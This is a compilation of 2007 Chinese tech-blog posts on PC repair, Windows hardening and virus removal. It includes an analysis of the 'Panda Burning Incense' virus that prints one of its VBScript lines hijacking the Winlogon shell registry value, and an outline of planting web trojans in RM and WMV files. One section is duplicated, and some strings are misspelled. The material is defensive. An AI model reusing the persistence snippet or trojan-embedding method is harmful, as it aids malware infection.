　　应对之策：道高一尺，魔低一丈，病毒的克星是杀毒软件。一旦怀疑自己的机器染上病毒，请重新启动系统到DOS，运行正版的杀毒软件（DOS版）这样可以杀掉在“吻到死”下杀不了的病毒；而后再启动到系统桌面，运行杀毒软件的WINDOWS版本进行再杀毒。另一方面，由于病毒发作严重时会破坏一些文件；我们就在病毒发作之前把重要的文件备份到Ｃ盘之外其它驱动器，且把数据文件的属性设定为只读。同时，大家要时刻更新杀毒软件病毒库，少用盗版碟，已上网的朋友们对不明的邮件附件千万不要下载。

　　系统故障

　　现象：进不了系统，典型表现为开机自检通过，在启动画面处停止，或显示：The disk is error等有E文提示的诸多现象。

　　现象分析：此为系统故障，可由很多原因引起，比较常见的就是系统文件被修改，破坏，或是加载了不正常的命令行。此外，硬盘的故障也是原因之一。

　　应对之策：首先要尝试能否进入安全模式，开机按F８键，选择启动菜单里的第三项：Safe model（安全模式）。进入安全模式后，可以通过设备管理器和系统文件检查器来找寻故障，遇到有“！”号的可以查明正身再确定是否del或设置中断。也可以重装驱动程序，系统文件受损可以从安装文件恢复（建议事先就把WINDOWS的安装盘复制在硬盘里）。如果连安全模式都不能进入，就通过带启动的光盘或是软盘启动到DOS，在DOS下先杀毒并且用Dir检查Ｃ盘内的系统文件是否完整，必要时可通过系统软盘进行Sys C:，恢复相关的基本系统文件。如果C盘内没有发现文件，则只有对系统进行彻底重装。

　　驱动丢失

　　现象：开机时16色显示，放音频文件时显示“XXX”设备正被占用。

　　现象分析：排除病毒的原因后，这种现象多发生在用过N个月的老机子上，或用户新近动过主机内的部件，（如显卡和PCI卡），则可能造成该硬件的接触不良，导致系统实质上并没有彻底检测到相关硬件。

　　应对之策：重新安装显卡的驱动程序，并检查相关配件与主板是否完全接触：一是要保证显卡，声卡金手指上的清洁，二是将其插入相关插槽时用力适当，对准垂直插入即可，再接上与之搭配的音箱和显示器连线。必要时，可以更换PCI卡的插槽位置，避免和显卡产生资源冲突。

　　开机黑屏

　　现象：开机黑屏，没有显示，可能会有报警声。

　　现象分析：硬件之间接触不良，或硬件发生故障，相关的硬件涉及到内存，显卡，CPU，主板，电源等。电脑的开机要先通过电源供电，再由主板的BIOS引导自检，而后通过CPU，内存，显卡等。这个过程反映在屏幕上叫自检，先通过显卡BIOS的信息，再是主板信息，接着内存，硬盘，光驱等。如果这中间哪一步出了问题，电脑就不能正常启动，甚至黑屏。

　　应对之策：首先确认外部连线和内部连线是否连接顺畅。外部连线有显示器，主机电源等。内部有主机电源和主机电源接口的连线（此处有时接触不良）。比较常见的原因是：显卡，内存由于使用时间过长，与空气中的粉尘长期接触，造成金手指上的氧化层，从而导致接触不良。对此，用棉花粘上适度的酒精来回擦拭金手指，待干后插回。除此外，观察CPU是否工作正常，开机半分钟左右，用手触摸CPU风扇的散热片是否有温度。有温度，则CPU坏掉的可能性就可基本排除。没温度就整理一下CPU的插座，确保接触到位。这之后还没温度，阁下的CPU就可以升级了：（除了上面的方法外，还有一招必杀技：用拔跳线的方法清除BIOS设置或更换主板的CMOS电池。当这些方法都尝试过并全部失败的话，就可以召唤大虾哥出山相助了。

　　怪响异味

　　现象：听到怪响或者闻到异味。

　　现象分析：怪响，可能是由于硬盘的坏道造成硬盘发出的（格格的刺耳声）；也有可能是硬盘，光驱螺丝没有上牢，造成机箱的共振。异味，多为焦糊味，很刺鼻子的那种。

　　应对之策：首先关闭电源。若是怪响，则打开机箱面板，一一检查，若是坏道，则修复或屏蔽。对于异味，要千万小心。这时用你的鼻子闻闻，找到发出异味的部件，然后卸下交由电脑公司处理，在这中间，大家一定要捍卫自己的消费者权益。（没过质保期的——该换的换，该修的修。）这个千万大意不得！因为，笔者的昂达光驱就是闻到焦糊味后断电不及（慢了N秒）给活活烧坏驱动芯片（Firewall）的，而后，再拿钱找JS大叔也没办法。（所以大家如果闻到异味，马上断掉电源，然后再下开机箱寻找原因，但是显示器千万别开，只能交由专业人员维修，那可是有高压电的，千万别拿自己的生命开玩笑。系统故障

　　现象：进不了系统，典型表现为开机自检通过，在启动画面处停止，或显示：The disk is error等有E文提示的诸多现象。

　　现象分析：此为系统故障，可由很多原因引起，比较常见的就是系统文件被修改，破坏，或是加载了不正常的命令行。此外，硬盘的故障也是原因之一。

　　应对之策：首先要尝试能否进入安全模式，开机按F８键，选择启动菜单里的第三项：Safe model（安全模式）。进入安全模式后，可以通过设备管理器和系统文件检查器来找寻故障，遇到有“！”号的可以查明正身再确定是否del或设置中断。也可以重装驱动程序，系统文件受损可以从安装文件恢复（建议事先就把WINDOWS的安装盘复制在硬盘里）。如果连安全模式都不能进入，就通过带启动的光盘或是软盘启动到DOS，在DOS下先杀毒并且用Dir检查Ｃ盘内的系统文件是否完整，必要时可通过系统软盘进行Sys C:，恢复相关的基本系统文件。如果C盘内没有发现文件，则只有对系统进行彻底重装。

重装系统十大措施　帮你防止病毒侵扰

2007-01-28T22:15:00.001+08:00

在操作系统进行重新安装后，由于安全设置以及补丁未及时安装等问题，最容易导致病毒的大肆入侵，因此一些必备的补充措施是非常关键的。

　　一、不要急着接入网络

　　在安装完成Windows后，不要立即把服务器接入网络，因为这时的服务器还没有打上各种补丁，存在各种漏洞，非常容易感染病毒和被入侵。此时要加上冲击波和震撼波补丁后并重新启动再联入互联网。

　　二、给系统打补丁/安装杀毒软件

　　不用多说，冲击波和震荡波病毒的补丁是一定要打上的，如果你安装了Windows XP SP2则不用再另行安装。

　　安装完系统后，一定要安装反病毒软件，同时将其更新到最新版本。

　　三、关闭系统还原

　　系统还原是Windows ME和Windows XP、Windows 2003中具有的功能，它允许我们将系统恢复到某一时间状态，从而可以避免我们重新安装操作系统。不过，有的人在执行系统还原后，发现除C盘外，其它的D盘、E盘都恢复到先前的状态了，结果里面保存的文件都没有了，造成了严重的损失!

　　这是由于系统还原默认是针对硬盘上所有分区而言的，这样一旦进行了系统还原操作，那么所有分区的数据都会恢复。因此，我们必须按下Win+Break键，然后单击“系统还原”标签，取消“在所有驱动器上关闭系统还原”选项，然后选中D盘，单击“设置”按钮，在打开的窗口中选中“关闭这个驱动器上的系统还原”选项。

　　依次将其他的盘上的系统还原关闭即可。这样，一旦系统不稳定，可以利用系统还原工具还原C盘上的系统，但同时其他盘上的文件都不会有事。

　　四、给Administrator打上密码

　　可能有的人使用的是网上下载的万能Ghost版来安装的系统，也可能是使用的是Windows XP无人值守安装光盘安装的系统，利用这些方法安装时极有可能没有让你指定Administrator密码，或者Administrator的密码是默认的123456或干脆为空。这样的密码是相当危险的，因此，在安装完系统后，请右击“我的电脑”，选择“管理”，再选择左侧的“计算机管理(本地)→系统工具→本地用户和组→用户”，选中右侧窗口中的Administrator，右击，选择“设置密码”。

　　在打开窗口中单击“继续”按钮，即可在打开窗口中为Administrator设置密码。

　　另外，选择“新用户”，设置好用户名和密码，再双击新建用户，单击“隶属于”标签，将其中所有组(如果有)都选中，单击下方的“删除”按钮。再单击“添加”按钮，然后再在打开窗口中单击“高级”按钮，接着单击“立即查找”按钮，找到PowerUser或User组，单击“确定”两次，将此用户添加PowerUser或User组。注销当前用户，再以新用户登录可以发现系统快很多。

　　五、关闭默认共享

　　Windows安装后，会创建一些隐藏共享，主要用于管理员远程登录时管理系统时使用，但对于个人用户来说，这个很少用到，也不是很安全。所以，我们有必要要切断这个共享：先在d:\下新建一个disshare.bat文件，在其中写上如下语句：

　　@echo off net share C$/del net share d$/del netshare ipc$/del net share admin$ /del

　　接下来将d:\disshare.bat拷贝到C:\Windows\System32\GroupPolicy\UserScripts

　　\Logon文件夹下。然后按下Win+R，输入gpedit.msc，在打开窗口中依次展开“用户配置→Windows设置→脚本(登录/注销)”文件夹，在右侧窗格中双击“登录”项，在弹出的窗口中，单击“添加”命令，选中C:\Windows\System32\GroupPolicy\User

　　Scripts\Logon文件夹下的disshare.bat文件。

　　完成上述设置后，重新启动系统，就能自动切断Windows XP的默认共享通道了，如果你有更多硬盘，请在net share d$/del下自行添加，如netshare e$/del、net share f$/del等。

　　六、启用DMA传输模式

　　启用DMA模式之后，计算机周边设备(主要指硬盘)即可直接与内存交换数据，这样能加快硬盘读写速度，提高数据传输速率：打开“设备管理器”，其中“IDE ATA/ATAPI控制器”下有“主要IDE通道”和“次要IDE通道”，双击之，单击“高级设置”，该对话框会列出目前IDE接口所连接设备的传输模式，单击列表按钮将“传输模式”设置为“DMA(若可用)”。重新启动计算机即可生效。

　　七、启用高级电源管理

　　有时候安装Windows XP之前会发现没有打开BIOS电源中的高级电源控制，安装Windows XP后，关闭Windows时，电源不会自动断开。这时，很多人选择了重新打开BIOS中的高级电源控制，并重新安装Windows XP。事实上，用不着这么麻烦，只要大家确认已经在BIOS中打开高级电源控制选项，同时选择ACPI Pc，一定不要选错，否则重启后可能无法进入Windows，并重新启动电脑，电脑可能会重新搜索并自动重新安装电脑的硬件，之后就可以使其支持高级电源控制了。

　　八、取消压缩文件夹支持

　　单击开始→运行，输入“regsvr32 /u zipfldr.dll”回车，出现提示窗口“zipfldr.dll中的Dll UnrgisterServer成功”即可取消Windows XP的压缩文件夹支持。另外，输入regsvr32 shdocvw.dll可以取消“图片和传真”与图片文件的关联。

　　九、取消“磁盘空间不足”通知

　　当磁盘驱动器的容量少于200MB时Windows XP便会发出“磁盘空间不足”的通知，非常烦人。可以打开“注册表编辑器”，定位到HKEY_CURRENT_USER\Software

　　\Microsoft\Windows\CurrentVersion\Policies\Explorer，在“Explorer”上单击右键，选择右键菜单上的“新建”→“DWORD值”，将这个值命名为“NoLowDiskSpaceChecks”，双击该值将其中的“数值数据”设为“1”。

　　十、启用验证码

　　安装SP2后，大多数用户发现在访问某些需要填写验证码的地方，都无法显示验证码图片(显示为一个红色小叉)，这是一个非常严重的Bug。解决办法为：运行“Regedit”命令打开注册表编辑器，依次定位到“[HKEY_LOCAL_MACHINE\SOFTWARE\

　　Microsoft\Internet Explorer\Security]”，在窗口右边新建一个名为“BlockXBM”的REG_DWORD值，将其值设置为“0”(十六进制值)。

看我妙招清除“顽固不化”病毒进程

2007-01-28T22:14:00.000+08:00

笔者在这里为大家提供两则小技巧，以便帮你强行杀死“顽固不化”的病毒进程。

　　根据进程名查杀

　　这种方法是通过WinXP系统下的taskkill命令来实现的，在使用该方法之前，首先需要打开系统的进程列表界面，找到病毒进程所对应的具体进程名。

　　接着依次单击“开始→运行”命令，在弹出的系统运行框中，运行“cmd”命令;再在DOS命令行中输入“taskkill /im aaa”格式的字符串命令，单击回车键后，顽固的病毒进程“aaa”就被强行杀死了。比方说，要强行杀死“conime.exe”病毒进程，只要在命令提示符下执行

　　taskkill /im conime.exe

　　命令，要不了多久，系统就会自动返回结果。

　　根据进程号查杀

　　上面的方法，只对部分病毒进程有效，遇到一些更“顽固”的病毒进程，可能就无济于事了。此时你可以通过Win2000以上系统的内置命令——ntsd，来强行杀死一切病毒进程，因为该命令除System进程、SMSS.EXE进程、CSRSS.EXE进程不能“对付”外，基本可以对付其它一切进程。但是在使用该命令杀死病毒进程之前，需要先查找到对应病毒进程的具体进程号。

　　考虑到系统进程列表界面在默认状态下，是不显示具体进程号的，因此你可以首先打开系统任务管理器窗口，再单击“查看”菜单项下面的“选择列”命令，在弹出的设置框中，将“PID(进程标志符)”选项选中，单击“确定”按钮。返回到系统进程列表页面中后，你就能查看到对应病毒进程的具体PID了。

　　接着打开系统运行对话框，在其中运行“cmd”命令，在命令提示符状态下输入

　　ntsd -c q -p PID

　　命令，就可以强行将指定PID的病毒进程杀死了。例如，发现某个病毒进程的PID为“444”，那么可以执行

　　ntsd -c q -p 444

　　命令，来杀死这个病毒进程。

教你防黑之小心防范RM,WMV木马的方法

2007-01-28T22:13:00.000+08:00

一)RM、RMVB文件中加入木马的方式

　　Helix Producer Plus是一款图形化的专业流媒体文件制作工具，这款软件把其他格式的文件转换成RM或RMVB格式，也可以对已存在的RM文件进行重新编辑，在编辑的同时，我们可以把事先准备好的网页木马插入其中。这样只要一打开这个编辑好的媒体文件，插入在其中的网页木马也会随之打开，甚至还能控制网页木马打开的时间，让网页木马更隐蔽。

　　(二)WMV、WMA文件中加入木马的方式

　　对于WMA、WMV文件，是利用其默认的播放器Windows Media Player的“Microsoft Windows媒体播放器数字权限管理加载任意网页漏洞”来插入木马。当播放已经插入木马的恶意文件时，播放器首先会弹出一个提示窗口，说明此文件经过DRM加密需要通过URL验证证书，而这个URL就是事先设置好的网页木马地址，当用户点击“是”进行验证时，种马便成功了。和RM文件种马一样，在WMV文件中插入木马我们还需要一样工具――WMDRM打包加密器，这是一款可以对WMA、WMV进行DRM加密的文件，软件本身是为了保护媒体文件的版权，但在攻击者手中，便成了黑客的帮凶。

　　(三)防御方法

　　1.看影片之前，用Helix Producer Plus 9的rmevents.exe清空了影片的剪辑信息，这样就不会出现指定时间打开指定窗口的事件了。(适合RM木马)

　　2.升级所有的IE补丁，毕竟RM木马实际上也是靠IE漏洞执行的。(适合RM木马)

　　3.用网络防火墙屏蔽RealPlayer对网络的访问权限。(适合RM木马)

　　4.换其他播放器，如：梦幻鼎点播放器、暴风影音、Mplayer等。(适合两款木马)

　　5.及时升级杀毒软件的病毒库，升级两个媒体播放软件的补丁。(适合两款木马)

三点高招解除闪存盘内的病毒

2007-01-28T22:10:00.000+08:00

赤手空拳对付病毒

　　时下，我们常常会在硬盘的各个分区根目录下面看到“Autorun.inf”这样的文件，并且用鼠标双击磁盘分区图标时，往往无法打开对应分区窗口;遭遇类似上述现象时，那几乎就能断定本地计算机系统已经感染了近来非常猖獗的闪盘病毒，这种病毒一般通过“Autorun.inf”文件进行传播，只要我们双击闪盘分区图标时，该病毒就会通过“Autorun.inf”文件中的设置来自动激活病毒，然后将“Autorun.inf”文件同时拷贝到其他分区，导致其他分区都无法用双击鼠标的方法打开。为了保护系统安全，本文下面就为各位献上这类病毒解除方法以及预防措施，希望下面内容能对大家有用!

　　赤手空拳，删除“Autorun.inf”文件

　　当计算机系统不小心感染了“Autorun.inf”文件病毒时，该病毒就会自动在本地硬盘的所有分区根目录下面创建一个“Autorun.inf”文件，该文件在默认状态下具有隐藏属性，用普通方法是无法直接将它删除掉的。要想删除“Autorun.inf”病毒文件，我们可以按照如下方法来操作：

图1

　　首先用鼠标双击系统桌面中的“我的电脑”图标，在其后弹出的窗口中依次单击“工具”/“文件夹选项”菜单命令，打开文件夹选项设置窗口，单击该窗口中的“查看”标签，并在对应标签页面中选中“显示所有文件和文件夹”项目，同时将“隐藏受保护的操作系统文件”的选中状态取消掉，再单击“确定”按钮，这么一来“Autorun.inf”病毒文件就会显示在各个分区根目录窗口中了;

　　其次用鼠标右键单击“我的电脑”窗口中的某个磁盘分区图标，从弹出的快捷菜单中执行“打开”命令，进入到该分区的根目录窗口，在其中我们就能看到“Autorun.inf”病毒文件的“身影”了;再用鼠标右键单击“Autorun.inf”文件，并执行右键菜单中的“打开”命令将“Autorun.inf”文件打开，随后我们就会看到里面的“open=xxx.exe”内容，其实“xxx.exe”就是具体的病毒名称。倘若这类病毒没有进程保护时，我们只需要将“xxx.exe”文件以及各个“Autorun.inf”文件直接删除掉，就能将闪盘病毒从系统中清除掉了;

　　下面为了防止病毒再次运行发作，我们还需要将遭受病毒破坏的磁盘关联修改过来。在修改磁盘关联时，必须先依次单击“开始”/“运行”命令，打开系统运行对话框，在其中执行注册表编辑命令“regedit”，打开本地系统的注册表编辑窗口;在该编辑窗口的左侧显示区域，先用鼠标展开“HKEY_CLASSES_ROOT”注册表分支，然后在该分支下面依次选择“Driveshell”项目，在对应“shell”项目的右侧列表区域(如图2所示)，用鼠标双击“默认”键值，在其后弹出的数值设置窗口中将“默认”键值数值修改为“none”;

图2

　　接下来再用鼠标展开“HKEY_CURRENT_USER”注册表分支，然后在该分支下面依次选择“SoftwareMicrosoftWindowsCurrentVersionExplorer”项目，在对应“Explorer”项目的右侧列表区域，检查一下是否存在一个名为“ountPoints2”键值，一旦发现该键值的话，我们必须及时将它删除掉，最后按一下键盘上的F5功能键，来刷新系统注册表的设置，这么一来闪盘病毒就被我们手工清除掉了，此时当我们再尝试用双击方法打开分区窗口时，就会看到对应分区窗口能被正常打开了。

　　借用外力抑制病毒再生

　　借用外力，抑制闪盘病毒再生

　　倘若我们的计算机不小心中了闪盘病毒的黑手，尝试使用上面的方法无法删除“Autorun.inf”文件，而且重新安装了计算机系统后仍然无法使用双击鼠标方法打开分区窗口时，我们可以选用一款名为“费尔木马强力清除助手”的工具，来让本地系统摆脱闪盘病毒的“干扰”，并且有效抑制该类型病毒的继续发作。下面就是抑制闪盘病毒再生的具体操作步骤：

　　首先从网上将“费尔木马强力清除助手”工具下载到本地硬盘中，并对它进行正确安装;安装完毕后，直接运行“费尔木马强力清除助手”程序，在其后弹出的程序界面中选中“抑制文件再次生成”项目，同时在“文件名”文本框中输入“Autorun.inf”文件的具体路径信息，例如笔者在这里输入“C:Autorun.inf”，再单击“清除”按钮，这么一来C分区下面的“Autorun.inf”文件就被清除干净了;按照相同的操作方法，再将其他分区中的“Autorun.inf”文件删除干净。

　　接着我们再按常规方法重新安装一下操作系统，或者直接通过Ghost程序来快速恢复一下系统，相信这么一来重装过后的系统就会摆脱闪盘病毒的“干扰”了。

　　小小巧招，预防闪盘病毒再次袭击

　　当摆脱了闪盘病毒的“干扰”后，我们现在是不是就可以高枕无忧了呢?其实，闪盘病毒随时可能再次袭击我们，为此我们必须采取有效措施，让本地系统远离闪盘病毒。而要预防闪盘病毒再次袭击的方法非常简单，我们只需要在闪盘根目录下面自己手工创建一个“Autorun.inf”文件，这样一来闪盘病毒日后就无法往闪盘根目录下面自动生成“Autorun.inf”病毒文件了，毕竟相同的目录下面是不允许创建同名文件或同名文件夹的，那样的话闪盘病毒就无法通过闪盘进行非法传播了。同样地，这种预防闪盘病毒的方法也适用于移动硬盘!

博客网站怎样有效阻止计算机病毒滋生

2007-01-28T22:09:00.001+08:00

在浩浩互联网中，安全问题越来越重要，如何维护博客用户的利益，保障网站的信息安全?

　　日前，有消息称，病毒可在博客日志系统中随意嵌入恶意代码，这些恶意代码可以传播有害程序，从而让博客网站称为病毒的源头。在浩浩互联网中，安全问题越来越重要，如何维护博客用户的利益，保障网站的信息安全?

　　日前笔者就此采访了有关博客网站的技术负责人。

　　他们一致认为网站安全是博客网站的头等大事。为此各家博客网站都做了一定的预防病毒措施。技术专家介绍国内外的博客网站在安全问题上已经进行了多年的探索，并已经形成一套有效的安全机制。

　　我们可以从以下方面略作分析：

　　1，javascript代码由系统管理

　　博客网站向来倡导自由化，个性化，为了使用户的页面更加生动有趣，博客网站允许用户自行定制JavaScript特效，但为了防止用户嵌入危险的JavaScript代码，博客网站为用户提供的JavaScript代码是由博客网站自己提供，用户自身不得编写JavaScript代码，而且提供的JavaScript代码通过了安全专家的精心挑选，这样便从根本上杜绝了恶意代码的滋生。

　　2，全方位监控回复内容

　　博客网站采用先进的智能识别技术，其中之一便是能够对来自同一IP的评论内容进行拦截，还可以通过先进的算法发现两篇评论的相似性，这样便阻止了大量垃圾评论信息的产生，其次还通过智能学习功能，一旦发现评论中的恶意链接，就将其记录到数据库，防止其在此的出现。而且博客网站还允许用户自行管理评论内容，这样双管齐下，有效治理了回复中的安全隐患。

　　3，安全的附件监控

　　信息时代到来，人们已经不能仅仅满足于文字的阅读，而是更希望看到声色并茂的有趣内容，博客网站为了满足用户追求，允许用户在自己的页面中加入Flash等有趣的多媒体内容，但博客网站一贯重视用户的信息安全，通过大量工作，提出了一揽子解决方案，这些方案的实施既确保了用户内容的声色并茂，同时也保证了安全，这些方案中比如限制用户上载文件的类型，通过分析程序对危险的flash进行过滤都是很有效的方法。

　　技术专家介绍说，博客网站在努力提高自身技术的同时，也在努力工作在世界科技的最尖端，通过研究搜索引擎恶意链接分析技术(Search Engine SPAM)，目前已经自行研发了一套有效的解决方案，消除了LinkSPAM ,保证了博客网站整体的清新。这样就可以让户在发表自己的文章时悠然自得，倍感惬意!

　　博客中国的技术专家透露，博客网正在努力的寻求与世界知名信息安全公司的合作，开发了一套类似Email filter的保护系统，称为blog filter ，这套系统的背后便是整套的安全解决体系，全方位的保护用户的安全。

黑客示范如何攻入Windows Vista系统

2007-01-28T22:08:00.001+08:00

在赛门铁克关于Windows Vista漏洞的第二份报告的启示下，拉斯维加斯的Black Hat会议上，一名安全研究者将公开示范如何攻入Vista内核。

　　来自新加坡COSEINC的高级安全研究专家Joanna Rutkowska，将会通过概念验证，展示如何越过操作系统的安全防范，向系统中插入恶意软件。这并非是什么天方夜谭，攻击者可以通过直接加载入Vista内核的数字标识代码迂回绕过系统安全机制。

　　在他的示范中，Rutkowska将会禁用Vista的标识检查工具，为恶意软件在内核模式的运行提供一种途径。在这种方式下，嗅听器、键盘记录器和后门木马可以找到一个进入Vista基本服务的途径，并从操作系统的底层为远程控制这台机器大开方便之门。

　　“当攻击成功后，攻击者需要寻找一个可行的方式，去迫使有趣的内核代码被分页，然后发现一个页面文件中的那个代码并对其进行修改。最终，内核需要再次加载那个代码(现在已经被修改过的)进入物理内存并执行它，”Rutkowska解释道。“我所实现的这个概念验证型代码解决了所有所有实际利用中的所有挑战。”Rutkowska谴责了微软运行结构上的漏洞，并叙述了这样一个事实:模式应用程序能够进入底层磁盘扇区纯属是一个设计上的问题。

　　作为结束语，研究者还说明，Windows Vista全面的表现和操作系统如何平衡安全和功能，给她留下了深刻的印象。(编译/孤独的鸽子)

实例讲解如何干掉“熊猫烧香”

2007-01-28T22:04:00.000+08:00

你中过熊猫烧香么?!看到过熊猫拿着三支香的样子么!?中招后如何处理!?看完本文，你将学会如何从计算机中杀掉“熊猫烧香”。

　　惊险查杀过程

　　1.熊猫烧香病毒：图片就是个熊猫在烧香感觉蛮可爱的!当时并没有很在意!第二天再次打开电脑的时候!几乎电脑所有的EXE文件都成了熊猫烧香图片!这时才有所感觉!

　　部分EXE文件已经无法正常使用!新加一个AUTORUN.INF的文件!

　　当初不明白这个文件的作用!在网上查了一些资料表明。才知道。只要用户打开盘符。就会运行这个病毒!用杀毒软件杀毒!没有效果!看来现在的杀毒软件越来越不行了~..

　　2.想用组合键打开任务管理器!无法打开~失败....想看看注册表有没什么情况。依然失败!奇怪的是：电脑运行正常。也都不卡!难道不是病毒.是系统出了问题?从网上下了第三方工具查看进程!果然看到两个可疑进程!FuckJacks.exe貌似是最可疑的不敢贸然终止!赶快问问白度大叔!

　　3.大叔告诉我。是熊猫病毒的进程!一切正如我意!懒的装系统了!

　　4.先结束FuckJacks.exe进程!开始-运行-CMD 输入：ntsd -c q -p 病毒的PID~终于KILL掉了!一切恢复正常了!兴奋ING...赶快打开注册表

　　突然注册表又关了.看看进程FuckJacks.exe。又出现了~~那应该它还有个守护进程!找找找。无发现....奇怪了。难道他的守护进程插入到系统

　　进程了?不会吧.....头疼一阵...。

　　5.算了，去向朋友找个专杀工具。有一个朋友说他写过熊猫的专杀工具!晕~~原来牛人在我身边。我都没发现~赶快想他请教~~才大概的了解了熊猫烧香~ 叫他给了我一个无壳的熊猫自己分析下~(自己动手.丰衣足食嘛~~)

　　6.用UI32打开熊猫.看到了条用的部分资源!文件执行后。释放到\system32\FuckJacks.exe下。

　　7.继续象下可以看到熊猫的一些传播过程相当的经典..有扫描同一网段的电脑~自我复制.等等相当强大公能~同时感染所有盘符的EXE文件~却不对一些重要的系统文件和常用文件进行感染!可见并不想早成太大破坏~修改注册表.禁止打开注册表.甚至禁用了部分服务~~

　　8下面就是重要的时刻了!从后面的代码可以看出!病毒的作者是个非常出色的程序员!有非常好的编程习惯!对病毒的异常运行~进行了很好的定义~都很大段都是作者对病毒运行条件的判断定义~值得注意的一点：在感染EXE文件的同时!感染ASP。HTML文件。会在最后加一段类似挂马的基本代码.~~做到通过第三方尽快传播的办法~(如果被感染者是网站管理人员。后果可想而知了)

　　病毒程序的运行

　　在给大家说下病毒的部分运行实现!简单的修改注册表：

　　有这样一句：WSHELL.REGWIRTE MYREGKEY， MYREGVALUE， MY REGTYPE

　　第一个是参数的键名：完整路径..

　　第二个是：键值。。

　　第三个是：键的类型，

　　Set wshell=wscript.createobject("wscript.shell")

　　wshell.regWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows NT\CurrentVersion\Winlogin\shell","eseplorer.exe","REG_SZ"

　　这就是脚本病毒掼用技术~

　　通用的解决方法

　　1、就是要关闭自己的默认共享。

　　首先运行regedit，找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把

　　RestrictAnonymous = DWORD的键值改为：00000001。

　　restrictanonymous REG_DWORD

　　0x0 缺省

　　0x1 匿名用户无法列举本机用户列表

　　0x2 匿名用户无法连接本机IPC

　　说明:不建议使用2，否则可能会造成你的一些服务无法启动，如SQL Server

　　2、禁止默认共享

　　1)察看本地共享资源

　　运行-cmd-输入net share

　　2)删除共享(每次输入一个)

　　net share ipc$ /delete

　　net share admin$ /delete

　　net share c$ /delete

　　net share d$ /delete(如果有e,f,……可以继续删除)

　　3)修改注册表删除共享

　　运行-regedit

　　找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]

　　把AutoShareServer(DWORD)的键值改为0000000。

　　如果上面所说的主键不存在，就新建(右击-新建-双字节值)一个主健再改键值。

　　我们看看这个病毒功能：瞬间复制整个硬盘、有监视QQ记录的功能、网吧的电脑依然有效!显然有了精灵的转存功能。值得注意的功能：删除GHOST的功能，控制电脑进行集体的DDOS，更出现了KILL掉KV、瑞星和金山的功能!

　　病毒的特性：网页传播!电脑的弱口令。默认共享传播!在内网的传播速度非常的快!对企业的居于网有很大的杀伤力!病毒瞬间复制整个硬盘。占用内存极小~

　　熊猫这款病毒虽然不是很新鲜。但是病毒的作者真的很让人佩服~完全的网络高手!超强的优秀程序员!

　　忘说了：网络巡警的熊猫专杀工具。就可以杀最新的变种!

打造一张万能Windows安装盘

2007-01-28T22:03:00.003+08:00

我在电脑城打工时，几乎每天都会遇到用户电脑出现问题需要修复或重装系统的事。由于经常要去客户的公司或家里进行故障处理，因此我心想：如果有一张附带常用工具的万能装机盘就太好了。我在市面上找了一圈没有发现称心的装机盘，于是决定自己动手制作一张。

　　首先是制作Windows XP系统的克隆版。

　　第一步对XP系统进行减肥，否则即使使用Ghost的最大压缩，一张光盘也放不下。具体做法是：关闭电源管理。在桌面空白处单击右键，选择“属性”项，然后点击“屏幕保护”标签下的“电源”按钮，最后去除“休眠”标签下“启用休眠”的勾选，这时系统会自动删除C盘根目录下与电脑实际内存相同大小的Hiberfil.sys文件。关闭系统还原。在桌面上右击“我的电脑”，选择“属性”项，再选择“系统还原”标签，选中“在所有驱动器上关闭系统还原”，点击“确定”，然后删除C盘根目录下的“System Volume Information”文件夹。删除帮助文件。打开:\Windows\help文件夹，删除该目录下所有文件。删除系统备份文件。在命令提示符下输入“sfc.exe/purgecache”命令清除C:\Windows\system32\dllcache文件夹中备份的DLL文件，然后输入 “sfc /cachesize=0”命令取消自动备份功能。删除多余输入法。Windows XP带有日文和韩文等输入法，这些根本用不到。打开C:\Windows\ime目录，除“CHSIME”及“SHARED”两个文件夹外，把其他文件夹下的文件全部删除(无法直接删除目录)。删除临时目录的文件。打开C:\Documents and Settings\用户名\Local Settings\Temp文件夹，删除其中文件即可。

　　第二步是修改系统的硬件驱动，这样做的目的是为了克隆出一套不带母机硬件信息的映像文件。这一步是Windows XP万能克隆的关键，否则克隆到其他不同芯片组主板的电脑中很可能根本无法启动！右击“我的电脑”，选择“属性”项，再点击“硬件”标签，并单击“设备管理器”按钮，打开“设备管理器窗口”。展开“IDE ATA/ATAPI控制器”类别，右击“SIS PCI IDE UDMA Controller”(注意不同芯片组的主板显示的名称可能不同，像小特的电脑显示的是“Intel(R) 82801DB Ultra ATA Controller”)，选择“更新驱动程序”，在弹出的更新向导中选择“从列表或指定位置安装(高级)”，单击“下一步”按钮，选择“ 不要搜索”，在兼容硬件列表中选择“标准双通道 PCI IDE控制器”(或“Standard Dual Channel PCI IDE Controller”)后单击“下一步”按钮，单击“完成”之后，系统会提示你重新启动，单击“是”重启系统。展开“计算机”类别，右击“Advanced Configuration Power Interface(ACPI) PC”(不同主板显示也可能会不同)，选择“更新驱动程序”，在弹出的更新向导中依次选择“从列表或指定位置安装(高级)→下一步→不要搜索→Standard PC→下一步”，最后单击“完成”按钮，系统会提示重新启动，单击“否”不重启系统。

　　第三步是重新封装系统。虽然前面删除了部分硬件的驱动，但仍有许多硬件驱动存在系统中不能直接删除。如果这时直接制作镜像，当把克隆文件恢复到其他电脑中时，可能会出现系统不稳定的现象。为解决此问题，需要使用微软企业部署工具包里的Sysprep对系统进行重新封装，然后再制作克隆镜像。这样在恢复GHO文件后的第一次启动时，系统会重新安装所有新硬件的驱动，有效避免了万能克隆系统的不稳定现象。可以运行C:\Sysprep目录下的 “setupmgr.exe”程序，根据向导提示选择“创建新文件→Sysprep安装→Windows XP Professional→是，完全自动安装”，然后在打开的“安装管理器”窗口中重点设置以下内容，其他内容可以根据需要进行设置：

